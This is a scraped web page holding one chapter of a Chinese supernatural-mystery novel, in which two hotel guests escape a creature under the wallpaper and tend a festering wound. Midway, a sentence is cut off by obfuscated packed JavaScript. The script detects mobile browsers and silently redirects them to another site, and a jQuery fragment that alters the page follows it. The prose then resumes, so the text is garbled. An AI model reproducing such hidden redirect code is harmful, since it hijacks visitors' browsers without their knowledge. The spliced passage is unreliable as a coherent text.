默认冷灰
24号文字
方正启体

12. 第12章

作者:禾时黯本书字数:K更新时间:
    装有急救包的木箱翻了个跟头跌出铁架,狼狈地趴在林尽愁脚边,里面其它零碎物品咣咣当当往外漏,与抹布拖把混为一体。


    铁架紧靠泛黄的墙纸,由于木箱倒塌,底层空出一片区域,得以让林尽愁看见隔着墙纸奋力蛄蛹的不明生物。


    如徐行所言,那玩意如同淋湿头发并挤一大坨洗发膏,再疯狂揉搓后的形状。


    墙纸好似一层柔韧的皮,牢牢裹紧其下无数炸裂又复生的气泡状物体,它整体不超过两个拳头大小,方才轻轻松松顶飞稳坐在架子上的木箱。


    像蛇一般顺滑地游移,墙纸下的那东西开始朝两人所在的方位翻滚。


    “!”


    它逼近的瞬间,林尽愁和徐行不约而同飞快起身,根本没时间思考见了什么活鬼就朝门外奔逃。


    转身时,两只手腕间的表链险些犹如拴在狗身上的牵引绳,遛弯遛着遛着便缠上,同时绊住主人和狗的去路。


    好在徐行自愿多绕了半圈捋顺链子,林尽愁恰巧趁机用力踹中箱子,一脚将它踢上涌动在墙面的东西。


    “啪叽。”


    传来恶心湿润的破裂声,林尽愁没回头,她比徐行先一步跨出房间,怀里抱着手机以及抢来的医疗用品,房门赶在徐行刚出来便被重重合上。


    “你看见的,就是那个?”


    林尽愁用手机照着紧闭的门,喘了口气问。


    “是。”徐行夹着手机,LED灯光打在他脸上。他虚虚护住自己受伤的手,出于疼痛稍微咧开嘴:“当时在门上。”


    他提醒林尽愁别离门太近,后者依言倒退。在闪光灯强劲的照射下,门板表面并未浮起哪怕一丝波澜,或许林尽愁不假思索的那一脚管了用,它没能追上来。


    转身望去,拐角的落地灯轮廓清晰,映出暗色的木地板。


    灯光依旧,出口恐怕仍在另一头。


    二人轻手轻脚摸到过道中央,前有灯后有门,林尽愁拉近徐行,请他做个合格的照明灯,然后将自己的手机丢进口袋,抓起碘伏棉签。


    “我的伤没那么严重,”徐行没答应,“我们出去再处理吧。”


    “说句丧气话,我担心走半天走到出口又会遭遇刚才的事,白白浪费时间。”


    林尽愁强硬地要求查看他手上没揭开的纱布:


    “首先,伤口暴露在空气里不太好,赶紧给你处理完再走也不耽误。”


    “而且,”她转动眼珠,“虽然有点吓人,但墙里的东西也许……没想象中强,或者说不是一定要弄死我们。”


    “没立即攻击我们也不能证明它无害。”徐行小幅度躲闪后选择妥协,由她慢慢提起纱布边缘。


    “没错,不过那东西能穿梭于墙体,想追我们早来了,假如因为箱子砸中它,它就动弹不得,那它很好对付;假如因为它仅仅可以在这个房间里活动,所以追不过来,那它还是很好对付。”


    “比我们见过的其它东西温和得多。”林尽愁盖棺定论。


    “嗯……”徐行眯起双眼,眼神中掺杂着苦恼。他停顿半晌,说:


    “确实有道理。”


    “另外,我的问题还没问完。”


    仿佛在英语试卷上写作文,林尽愁以衔接词另起一行。她把整条纱布撕下揉成一团,用棉签蘸着碘伏轻轻涂抹在干瘪的水泡表皮上:


    “我看昨天晚上你还和同房的人一起出门,其实你们关系不怎么样吗?”


    “怎么说呢,”徐行维持苦恼的表情,嘴角艰难地上翘,“他在现实生活中,大概过得比较压抑吧,这里的环境不常规,可能反倒让他放松了。”


    “他偶尔会突然像打开开关一样,就某个话题延展出很多内容,主要是描述伤害过他的人和事。”


    “比如一直压榨他的上司、搞小团体的同事……我不太擅长应对这种类型。”徐行轻轻叹气。


    啊,正所谓话不投机半句多。林尽愁不由自主地联想,想着想着,她记起早上餐厅里那名眼镜男子的发言。


    彼时她正出神,记不清对方具体讲了什么,不过眼镜男似乎可以接受住进宾馆,她有这样的印象。


    徐行和她在楼梯间相遇时,曾提到眼镜男认为与其回归现实不如留下,还发现了“免费留住的方法”。


    这个人,原先的工作生活多半都不愉快,进入异物横行的浓雾,入住危机四伏的宾馆,在感觉不到生命威胁的前提下,说不定内心深处反而泰然自得。


    毕竟身处失去正常秩序的世界,惯常的社会规则再也无法制约他,若是面对欺压自己的上司,一拳揍过去也不必付出任何代价。


    这就像一些学生和上班族期待世界末日。


    那么今天中午,他是平白无故进入这条走廊的吗?


    太黑了,余畅这么说。幽深漆黑的长道怎么看也不适合散步,不到两天经历如此之多诡异,正常人更不会升起探险的心。


    难不成,眼镜男看到的走廊里亮着那盏落地灯?


    走廊内一定发生了很不寻常的事情,以至于眼镜男回房后并未声张,而是一个劲研究宾馆的各层结构,更确切地说,也许是研究二楼的结构。


    徐行出门后,眼镜男很有可能重返走廊,通过某种方式取得了“免费留住”的途径,然后……


    做最坏的假设,特意回房拉拢徐行的,兴许压根不是眼镜男本人。


    “原来如此……嗯,我没找到剪刀,只能用手撕纱布了。”


    林尽愁在心里盘算,她伸出两根手指于纱布一侧捻开几根线,沿着小小破口扯断包好的纱布,利落地打了个结。


    “谢谢。”徐行端详被崭新纱布覆盖的右手。


    “我们要去出口吗?”他询问林尽愁,后者将用剩下的碘伏等物放进口袋,把废弃的垃圾裹成无害的布团。


    “去是要去的,但那盏灯还是很叫人在意,”林尽愁瞥了瞥落地灯,“至少你的伤口没问题了,浪费时间也——现在几点了?”


    “我看看,九点四十。”


    “待了挺久的,我们走吧。”


    绕过暖黄色的直角,出口远远望着两个人,灯光浅浅泻进走廊,明晰地划分出瓷砖与


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16772218|190257||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    木地板的边界。


    只有走廊铺了木地板。林尽愁默默沉思,原本以为只是装修风格的杂糅,如今想来,是否另有深意呢?


    一步不停地向前,身体与出口间的距离不断缩短,渐渐近到抬高手臂便能触碰走廊外的亮光,林尽愁于是伸直胳膊探出长道,手指沐浴在亮白的光线中。


    接着左脚和右脚离开木地板,有如冷不防从黑夜闯入白昼,林尽愁竟有些不适应劈头盖脸降下来的灯光。


    关掉手机手电筒回头一看,这次散发柔和光芒的落地灯好端端的。


    “居然就这样出来了。”


    徐行轻声感叹,畏光似的眯眼。不清楚和伤处的痛感有无关联,他的嘴唇不见血色。


    “对啊,这回什么都没发生,我们是运气好吧?那个戴眼镜的人好像不在这了,我猜他要么又回到你们的房间,要么没出走廊。”


    “感觉没出走廊的可能性比较大。”徐行闷声道,林尽愁想瞧瞧他的神情,先入眼的却是连接两人的表链。


    “这个该拆掉了,我都忘了,”她说行动就行动,上手一抽解开活结,“你要把怀表装回去吗?”


    “那个无关紧要,谢谢你。”


    徐行草草略过关于表的话题,他再次察看手机锁屏:“九点四十五,上楼吧。”


    当晚没人见到戴眼镜的男人。


    宾馆安保人员按例查房,并未对该名男子的缺席表达任何意见,敲开徐行的门不到五秒,就播放起结束查房的音频。


    不过是走个形式。


    徐行靠着被关闭的房门坐在地板上,他抬起右手,借顶灯打量包裹伤口的纱布。


    当时的情况下,二次处理很及时。可惜水泡的皮本身属于一层天然无菌保护膜,重击之下破损后,消毒的动作很难赶上细菌繁殖的速度。


    简单活动手指都痛不堪忍,哪怕一动不动,持续的胀痛也毫无停歇之意。


    仿佛数条新长成的畸形动脉潜伏在手背下,拼命搏动以彰显存在感,带着不撞开表皮不罢休的架势。


    黄色脓液染脏纱布,徐行身上还揣着林尽愁临别前交给他的急救用品,几乎相同种类的物品也摆放在床头柜上,那是林尽愁向幽灵般的前台要来的。


    真好心。


    他放任愈演愈烈的疼痛啃咬创面未成形的肉芽组织,如一把火燎着紧贴纱布的皮肤。很不合时宜地,徐行回忆起那双黑眼睛。


    比他见过的所有黑眼睛更纯粹,犹如吸光的黑洞,又像围棋棋盘上的棋子,一眨不眨地注视着,会令部分人脊背发凉。


    可他觉得那是很漂亮的黑色,同高高束起的长发一样,不掺杂质的黑,新研的墨也比不了。


    一切颜色相混合就会变为黑色,是不是可以认为,透过黑色就能看到一切颜色呢?


    脓液兀自渗出,周围的温度似乎下降了,徐行知道不是由于空调开得太低。


    很长,很长一段时间,漫长到无从追溯起点,他已经忘记身体不适是什么感受了。


    靠在越来越冰冷的门板上,他闭上眼。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)